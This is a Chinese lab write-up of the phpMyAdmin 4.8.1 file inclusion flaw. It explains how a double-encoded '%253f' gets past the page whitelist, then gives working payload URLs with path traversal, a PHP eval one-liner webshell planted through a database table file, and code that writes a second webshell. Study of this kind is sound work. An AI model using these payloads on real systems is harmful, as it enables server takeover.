phpMyAdmin4.8.1 文件包含漏洞+靶场
2021-4-30 文件包含漏洞笔记
第一步:丢进seay审计,全局搜索危险函数include
找到了可控变量输入输出的第8项:include $_REQUEST[‘target’]
刚才查到了疑似有问题的地方,下面我们跟进他
发现如下:
! empty($_REQUEST['target'] :参数非空值 便执行if语句
is_string($_REQUEST['target'] :参数是字符串类型
! preg_match('/^index/', $_REQUEST['target'] :参数中不能有 index 字符出现
!in_array($_REQUEST['target'],$target_blacklist :参数非$target_blacklis数组中的值
跟进搜索这个数组的内容
其中包含了两个php,也就是说参数值不能是import.php和export.php
Core::checkPageValidity($_REQUEST['target'] : 他的意思是说满足Core类中的checkPageValidity函数
总结需要满足的条件:
1:传入的target要是一个字符串
2:不能为/index/开头
3:非$target_blacklist数组中
4:满足Core类中的checkPageValidity函数 那么,问题 来了,这个checkPageValidity函数是什么?
跟进全局搜索这个函数
发现有这几个结果,我们为什么选择Core.php的第二行?
要研究一个方法、函数、变量的作用=>去看声明这个变量、函数的地方。很明显,最后一行就是定义这个函数的地方,跟进查看:
发现下图:
继续,跟进新发现的数组变量$whitelist变量往后分析发现:$goto_whitelist , 听着像白名单,我们看看是什么:
发这应该是列为白名单的php文件了,我们无法直接对这几个php下手的,因为设置成白名单肯定是加过防护的,基本是没办法的。
/*mb_strpos()的意思就是将问号后面的东西全舍弃,保留前部分*/
分析上图代码块:从上往下:
如果$page在白名单中就会直接return true
但这里考虑到了可能白名单文件用户传参带参数的情况,所以有了下面的判断(?表示传参)
$_page是取出$page问号前的东西(考虑到target有传参的情况)若截取后的$_page在白名单中仍return true
但还考虑了url编码的情况,所以如果这步判断未成功,下一步又进行url解码
所以若传入二次编码后的内容,则会让checkPageValidity()这个函数返回true,但index中实际包含的内容却不是白名单中的文件
例如传入
?target=db_datadict.php%253f
由于服务器会自动解码一次,所以在checkPageValidity()中,$page的值一开始会是服务器解码一次后的db_datadict.php%3f,又一次core.php处理url解码后变成了db_datadict.php?,这次便符合了?前内容在白名单的要求,故函数返回true
但在index.php中$_REQUEST['target']仍然是db_datadict.php%3f,而且会被include,通过../../目录穿越,就可造成任意文件包含
双重编码绕过
(须知:开发人员考虑过于周全-白名单文件用户传参情况,所以使用问号截取后检验布尔,导致漏洞产生)
总结双重编码绕过: ?-->%3f-->%253f
构造payload:
1:为了不让服务器误认为它是传参而是用问号截取判断来返回true造成包含漏洞,故编码一次
2:服务器检测到url编码时,会自动解码一次,故相当于还是被认为问号传参,故再次编码
3:编码两次后:%253f传到服务器url自动解码一次-->%3f ,而core.php第一个问号判断则跳过,第二个问号截取判断,urldecode()解码,%3f-->? 故变成了正常的问号,直接截取为前面的白名单,返回true
4:返回true可以触发include,且include收到的target仍然是截取前的db_sql.php%3f/../..xxx的payload
故成功绕过-->利用包含
那么这问题结束了之后,我们针对phpmyadmin4.8.1的文件包含漏洞利用讲解就基本结束了,下面
进行实战
l 可能存在的逻辑疑点:
首先:有数据库权限,不一定是高权限,可能有10个数据库你只有其中1个 库的权限。但不管权限再低,建表的权限还是有的,所以我们从这里入手。
那么为什么我们已经在frm文件,也就是我们创建的表里面,有我们的一句话了
那为什么要用文件包含呢?存在的意义何在?
一句话并不是说写进目标服务器就可以的,必须要经过php解析才可以。所以必须包含到某个php,达到构造webshell的目的
这个环境搭载了phpmyadmin 4.8.1数据库系统
并且知道数据库账号和密码,下面进行示范
进入数据库:
在test数据库里面,创建一张数据表名为123,字段内容是一句话木马<?php eval($_REQUEST['a'])?>,然后select @@datadir查看绝对路径
所以一共三级目录,我们编写的payload有三个以上的 ../ 则可以。
其次,我们需要知道,数据表创建之后会在如:data的文件夹里面创建一个如:123.frm的文件,这个文件就是服务器里的我们创建的数据表,并且包含了我们的字段,也就是一句话。
那么我们现在只需要按照我们刚才的原理,让他用php来解析运行,则可以访问phpinfo,生成小马,连接菜刀,控制服务器。
我们的payload:
执行成功
用菜刀/蚁剑连接
http://目标网站/lfi/phpmyadmin/index.php?target=db_sql.php%253f/../../../../MySQL/data/test/123.frm
却发现,连上了,说明shell有效并且生效,但返回了200ok?
这个问题在很多shell连接都有,原因很简单:、
我们访问数据库的时候会登陆,所以登陆之后我们的cookie是管理员的,但菜刀连接的话,没有我登录的cookie,所以我们可以执行,但菜刀不可以,那么怎么解决呢?
解决这个问题的原理就像CSRF一样
用这个木马生成一个新的木马:
我们在/lfi/phpmyadmin/index.php?target=db_sql.php%253f/../../../../MySQL/data/test/123.frm&a=
传参的地方的后面,加上我们的CSRF生成新木马的代码:
$a ='<?php @eval($_POST[\'a\'])?>';file_put_contents('JAZZ.php',$a);echo 'ok';
代码整合起来也就是
/lfi/phpmyadmin/index.php?target=db_sql.php%253f/../../../../MySQL/data/test/123.frm&a=$a ='<?php @eval($_POST[\'a\'])?>';file_put_contents('JAZZ.php',$a);echo 'ok';
注意全是英文符号,中文的编码和英文编码不一样!
这样就会在目录下新生成一个JAZZ.php文件,是我们的shell
然后用菜刀连接新地址:
http://xxxxx/lfi/phpmyadmin/JAZZ.php
成功拿到webshell控制服务器。
/*老笔记了,为了配合上一篇buuctf-web第一页整理笔记-文章的文件包含题,写来的,有问题欢迎指正,谢谢~*/
发表评论